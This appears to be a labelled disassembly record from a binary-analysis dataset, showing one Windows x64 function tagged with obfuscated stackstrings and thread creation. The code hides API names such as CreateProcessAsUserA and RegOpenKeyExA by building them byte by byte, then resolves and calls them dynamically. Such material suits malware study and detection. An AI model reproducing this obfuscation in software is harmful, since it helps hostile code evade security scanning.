Function at 0x1400892a0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rax, qword [0x1400bfbc8]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1400c2b28]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov dword [rbp - 0x10], 0x70617664
mov dword [rbp - 8], 0x6c6c64
mov word [rbp - 0xb], 0x3233
mov byte [rbp - 9], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp - 0x11], 0x41
mov byte [rbp - 0xc], 0x69
mov dword [rbp + 0x3f], 0x7365636f
mov dword [rbp + 0x38], 0x74616572
mov dword [rbp + 0x45], 0x65735573
mov word [rbp + 0x3c], 0x5065
mov byte [rbp + 0x37], 0x43
mov byte [rbp + 0x3e], WSACleanup
mov word [rbp + 0x49], 0x4172
mov word [rbp + 0x43], 0x4173
mov byte [rbp + 0x4b], 0
mov dword [rbp + 0x18], 0x41784579
mov dword [rbp + 0x12], 0x6e65704f
mov word [rbp + 0x16], 0x654b
mov word [rbp + 0x10], 0x6765
mov byte [rbp + 0x1c], 0
mov byte [rbp + 0xf], 0x52
lea rcx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140089386
lea rdx, [rbp + 0x37]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0xf]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov word [rbp + 0xa], WSASetLastError
mov dword [rbp + 1], 0x6c656e72
mov dword [rbp + 5], 0x642e3233
mov word [rbp - 1], 0x656b
mov byte [rbp + 9], WSAGetLastError
mov dword [rbp + 0x22], 0x72727543
mov dword [rbp + 0x2d], 0x737365
mov dword [rbp + 0x27], 0x7250746e
mov word [rbp + 0x1f], 0x6547
mov word [rbp + 0x2b], 0x636f
mov byte [rbp + 0x26], 0x65
mov byte [rbp + 0x21], reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp - 1]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x1f]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400c2b20], rax
test rax, rax
je 0x14008952d
mov rcx, qword [0x1400c2b28]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
mov rcx, qword [0x1400c2b28]
mov rax, qword [rcx]
call qword [rax + Ordinal_41]
mov rcx, qword [0x1400c2b28]
mov rax, qword [rcx]
lea rdx, [rbp - 0x29]
call qword [rax + gethostname]
nop
mov rdx, qword [rbp - 0x29]
cmp dword [rdx - 8], 1
jle 0x14008943a
mov edx, dword [rdx - 0x10]
lea rcx, [rbp - 0x29]
call fcn.1400065a0
mov rdx, qword [rbp - 0x29]
mov rcx, qword [0x1400c2b28]
mov rax, qword [rcx]
call qword [rax + 0x40]
mov rcx, qword [rbp - 0x29]
movsxd rdx, dword [rcx - 0xc]
call fcn.14005a6dc
test eax, eax
js 0x140089522
mov rcx, qword [rbp - 0x29]
cmp eax, dword [rcx - 0xc]
jg 0x140089522
mov dword [rcx - 0x10], eax
movsxd rcx, eax
mov rax, qword [rbp - 0x29]
mov byte [rcx + rax], 0
mov rcx, qword [0x1400c2b28]
mov rax, qword [rcx]
call qword [rax + 0x50]
xor edi, edi
mov dword [rbp - 0x21], edi
mov ebx, edi
nop dword [rax + rax]
cmp qword [0x1400c2af0], rdi
jne 0x1400894d8
lea rax, [rbp - 0x21]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400879b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400c2af0], rax
test rax, rax
jne 0x1400894d8
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 3
jl 0x140089490
mov rdx, qword [rbp - 0x29]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14008951b
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
lea r9, vtable.ATL::CAtlStringMgr.0
cmp rax, r9
jne 0x140089518
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14008951b
call r8
mov eax, 1
jmp 0x14008952d
mov ecx, 0x80070057
call fcn.140006830
nop
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.14004bcc0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret